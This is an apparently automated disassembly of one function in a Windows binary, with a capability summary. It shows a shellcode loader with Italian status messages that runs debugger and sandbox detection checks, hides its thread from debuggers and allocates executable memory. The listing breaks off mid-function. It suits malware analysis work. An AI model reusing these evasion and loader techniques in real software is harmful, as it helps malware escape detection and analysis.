Function at 0x1400010a0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Check for debugger via api
Create process on windows
Execute command
Execute shellcode via indirect call
Get memory capacity
Get system information on windows
Hide thread from debugger
Link many functions at runtime
Terminate process

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
mov eax, dword [str.JJM1]
movsd xmm0, qword [0x140004400]
mov edi, dword [0x140004408]
movzx esi, word [0x14000440c]
mov r15d, dword [0x140004418]
movzx r12d, word [0x14000441c]
mov dword [rbp - 0x40], eax
movzx eax, word [0x14000442c]
mov word [rsp + 0x74], ax
mov eax, dword [0x140004438]
mov dword [rbp - 0x3c], eax
movzx eax, word [0x14000443c]
mov word [rsp + 0x76], ax
mov eax, dword [0x140004448]
mov dword [rbp - 0x38], eax
movzx eax, word [0x14000444c]
mov word [rsp + 0x78], ax
mov eax, dword [0x140004458]
mov dword [rbp - 0x34], eax
movzx eax, word [0x14000445c]
mov word [rsp + 0x7a], ax
mov eax, dword [0x140004468]
mov dword [rbp - 0x30], eax
movzx eax, word [0x14000446c]
movsd qword [rbp + 0x50], xmm0
movsd xmm0, qword [str.RQVH1]
mov word [rsp + 0x7c], ax
mov eax, dword [0x140004478]
movsd qword [rbp + 0x58], xmm0
movsd xmm0, qword [0x140004420]
mov dword [rbp - 0x2c], eax
movzx eax, word [0x14000447c]
movsd qword [rbp + 0x60], xmm0
movsd xmm0, qword [0x140004430]
mov word [rsp + 0x7e], ax
mov eax, dword [0x140004488]
movsd qword [rbp + 0x68], xmm0
movsd xmm0, qword [0x140004440]
mov dword [rbp - 0x28], eax
movzx eax, word [0x14000448c]
movsd qword [rbp + 0x70], xmm0
movsd xmm0, qword [0x140004450]
mov word [rbp - 0x80], ax
mov eax, dword [0x140004498]
movsd qword [rbp + 0x78], xmm0
movsd xmm0, qword [0x140004460]
mov dword [rbp - 0x24], eax
movzx eax, word [0x14000449c]
movsd qword [rbp + 0x80], xmm0
movsd xmm0, qword [0x140004470]
mov word [rbp - 0x7e], ax
mov eax, dword [0x1400044a8]
movsd qword [rbp + 0x88], xmm0
movsd xmm0, qword [0x140004480]
mov dword [rbp - 0x20], eax
movzx eax, word [0x1400044ac]
movsd qword [rbp + 0x90], xmm0
movsd xmm0, qword [0x140004490]
mov word [rbp - 0x7c], ax
mov eax, dword [0x1400044b8]
mov dword [rbp - 0x1c], eax
movzx eax, word [0x1400044bc]
movsd qword [rbp + 0x98], xmm0
movsd xmm0, qword [0x1400044a0]
mov word [rbp - 0x7a], ax
mov eax, dword [0x1400044c8]
movsd qword [rbp + 0xa0], xmm0
movsd xmm0, qword [0x1400044b0]
mov dword [rbp - 0x18], eax
movzx eax, word [0x1400044cc]
movsd qword [rbp + 0xa8], xmm0
movsd xmm0, qword [0x1400044c0]
mov word [rbp - 0x78], ax
mov eax, dword [0x1400044d8]
movsd qword [rbp + 0xb0], xmm0
movsd xmm0, qword [str.XAXYZAXAYAZH]
mov dword [rbp - 0x14], eax
movzx eax, word [0x1400044dc]
movsd qword [rbp + 0xb8], xmm0
movsd xmm0, qword [0x1400044e0]
mov word [rbp - 0x76], ax
mov eax, dword [0x1400044e8]
mov dword [rbp - 0x10], eax
movzx eax, word [0x1400044ec]
mov word [rbp - 0x74], ax
mov eax, dword [0x1400044f8]
mov dword [rbp - 0xc], eax
movzx eax, word [0x1400044fc]
mov word [rbp - 0x72], ax
mov eax, dword [0x140004508]
mov dword [rbp - 8], eax
movzx eax, word [0x14000450c]
mov word [rbp - 0x70], ax
mov eax, dword [0x140004518]
mov dword [rbp - 4], eax
movzx eax, word [0x14000451c]
mov word [rbp - 0x6e], ax
mov eax, dword [str.Lw_a]
mov dword [rbp], eax
movzx eax, word [0x14000452c]
mov word [rbp - 0x6c], ax
mov eax, dword [0x140004538]
mov dword [rbp + 4], eax
movzx eax, word [0x14000453c]
mov word [rbp - 0x6a], ax
mov eax, dword [0x140004548]
mov dword [rbp + 8], eax
movzx eax, word [0x14000454c]
movsd qword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x1400044f0]
mov word [rbp - 0x68], ax
mov eax, dword [0x140004558]
movsd qword [rbp + 0xc8], xmm0
movsd xmm0, qword [0x140004500]
mov dword [rbp + 0xc], eax
movzx eax, word [0x14000455c]
movsd qword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x140004510]
mov word [rbp - 0x66], ax
mov eax, dword [0x140004568]
movsd qword [rbp + 0xd8], xmm0
movsd xmm0, qword [0x140004520]
mov dword [rbp + 0x10], eax
movzx eax, word [0x14000456c]
movsd qword [rbp + 0xe0], xmm0
movsd xmm0, qword [0x140004530]
mov word [rbp - 0x64], ax
mov eax, dword [0x140004578]
movsd qword [rbp + 0x48], xmm0
movsd xmm0, qword [0x140004540]
mov dword [rbp + 0x14], eax
movzx eax, word [0x14000457c]
movsd qword [rbp + 0xe8], xmm0
movsd xmm0, qword [0x140004550]
mov word [rbp - 0x62], ax
mov eax, dword [0x140004588]
movsd qword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x140004560]
mov dword [rbp + 0x18], eax
movzx eax, word [0x14000458c]
movsd qword [rbp + 0xf8], xmm0
movsd xmm0, qword [0x140004570]
mov word [rbp - 0x60], ax
mov eax, dword [0x140004598]
movsd qword [rbp + 0x100], xmm0
movsd xmm0, qword [0x140004580]
mov dword [rbp + 0x1c], eax
movzx eax, word [0x14000459c]
movsd qword [rbp + 0x108], xmm0
movsd xmm0, qword [0x140004590]
mov word [rbp - 0x5e], ax
mov eax, dword [0x1400045a8]
movsd qword [rbp + 0x110], xmm0
movsd xmm0, qword [0x1400045a0]
mov dword [rbp + 0x20], eax
movzx eax, word [0x1400045ac]
movsd qword [rbp + 0x118], xmm0
movsd xmm0, qword [0x1400045b0]
mov word [rbp - 0x5c], ax
mov eax, dword [0x1400045b8]
mov dword [rbp + 0x24], eax
movsd qword [rbp + 0x120], xmm0
movzx eax, word [0x1400045bc]
lea rcx, [rbp + 0x2d1]
movsd xmm0, qword [0x1400045c0]
xor edx, edx
mov word [rbp - 0x5a], ax
mov r8d, 0x2cf
mov eax, dword [0x1400045c8]
mov dword [rbp + 0x28], eax
movzx eax, word [0x1400045cc]
mov word [rbp - 0x58], ax
mov eax, dword [0x1400045d8]
mov dword [rbp + 0x2c], eax
movzx eax, word [0x1400045dc]
mov word [rbp - 0x56], ax
mov eax, dword [0x1400045e8]
mov dword [rbp + 0x30], eax
movzx eax, word [0x1400045ec]
mov word [rbp - 0x54], ax
mov eax, dword [0x1400045f8]
mov dword [rbp + 0x34], eax
movzx eax, word [0x1400045fc]
mov word [rbp - 0x52], ax
mov eax, dword [0x140004608]
mov dword [rbp + 0x38], eax
movzx eax, word [0x14000460c]
mov word [rbp - 0x50], ax
mov eax, dword [0x140004618]
mov dword [rbp + 0x3c], eax
movzx eax, word [0x14000461c]
movsd qword [rbp + 0x128], xmm0
movsd xmm0, qword [0x1400045d0]
mov word [rbp - 0x4e], ax
mov eax, dword [0x140004628]
movsd qword [rbp + 0x130], xmm0
movsd xmm0, qword [0x1400045e0]
mov dword [rbp + 0x40], eax
movzx eax, word [0x14000462c]
movsd qword [rbp + 0x138], xmm0
movsd xmm0, qword [0x1400045f0]
mov word [rbp - 0x4c], ax
mov eax, dword [0x140004638]
movsd qword [rbp + 0x140], xmm0
movsd xmm0, qword [0x140004600]
mov dword [rbp + 0x44], eax
movzx eax, word [0x14000463c]
movsd qword [rbp + 0x148], xmm0
movsd xmm0, qword [0x140004610]
mov word [rbp - 0x4a], ax
mov eax, dword [0x140004640]
mov dword [rbp - 0x44], eax
movzx eax, word [0x140004644]
movsd qword [rbp + 0x150], xmm0
movsd xmm0, qword [0x140004620]
mov word [rbp - 0x48], ax
movzx eax, byte [0x140004646]
movsd qword [rbp + 0x158], xmm0
movsd xmm0, qword [0x140004630]
mov byte [rsp + 0x72], al
movsd qword [rbp + 0x160], xmm0
call sub.VCRUNTIME140.dll_memset
lea rcx, str.ping_www.google.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400026e0]
test eax, eax
je 0x14000165a
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Impossibile_connettersi_a_internet
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Eeguo_tecniche_Anti_debug
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_IsDebuggerPresent
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14000170e
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001020
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_CheckRemoteDebuggerPresentAPI
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rbp + 0x168], 0
je 0x14000179a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001020
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
mov qword [rsp + 0x6e0], rbx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_NtQueryInformationProcess_ProcessDbgPort
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.ntdll.dll
mov dword [rbp + 0x168], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
mov qword [rsp + 0x20], 0
mov rcx, rax
lea r8, [rbp + 0x168]
lea edx, [r9 + 3]
call rbx
test eax, eax
jne 0x14000186a
cmp dword [rbp + 0x168], eax
je 0x14000186a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001020
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_NtQueryInformationProcess_ProcessDebugFlags
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.ntdll.dll
mov dword [rbp + 0x168], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
mov qword [rsp + 0x20], 0
mov rcx, rax
lea r8, [rbp + 0x168]
lea edx, [r9 + 0x1b]
call rbx
test eax, eax
jne 0x140001932
cmp dword [rbp + 0x168], eax
jne 0x140001932
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001020
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_Process_ProcessDebugObject
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.ntdll.dll
mov qword [rbp + 0x168], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
mov qword [rsp + 0x20], 0
mov rcx, rax
lea r8, [rbp + 0x168]
lea edx, [r9 + 0x1a]
call rbx
test eax, eax
jne 0x1400019fd
cmp qword [rbp + 0x168], 0
je 0x1400019fd
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001020
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_NtSetInformationThread_ThreadHideFromDebugger
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtSetInformationThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x11]
call rbx
test eax, eax
je 0x140001aa3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001020
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xorps xmm1, xmm1
lea rcx, [rbp + 0x220]
xor eax, eax
xorps xmm0, xmm0
xor edx, edx
mov qword [rbp + 0x180], rax
mov r8d, 0xb0
mov qword [rbp + 0x210], rax
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x1b0], xmm1
movups xmmword [rbp + 0x1c0], xmm1
movups xmmword [rbp + 0x1d0], xmm1
movups xmmword [rbp + 0x1e0], xmm1
movups xmmword [rbp + 0x1f0], xmm1
movups xmmword [rbp + 0x200], xmm1
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x170]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [rbp + 0x184]
mov r8d, 0x10002
mov ecx, dword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov edx, 0xffffffff
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_CloseHandleAPI
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001000
test eax, eax
je 0x140001be2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Debugger_rilevato
call fcn.140002510
call fcn.140001020
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controlli_Anti_debugger_finiti
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Eeguo_tecniche_Anti_sandbox
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_CheckResources
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x190], 2
jb 0x1400024df
lea rcx, [rbp + 0x1b0]
mov dword [rbp + 0x1b0], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x1b8]
shr rax, 0x1e
cmp eax, 2
jb 0x1400024df
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_checkNUMA
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.VirtualAllocExNuma
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
call rbx
test rax, rax
jne 0x140001d93
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__SandBox_rilevata
call fcn.140002510
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_str_trick
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Controllo_memory_space
call fcn.140002510
mov rcx, rax
lea rdx, [0x1400026e0]
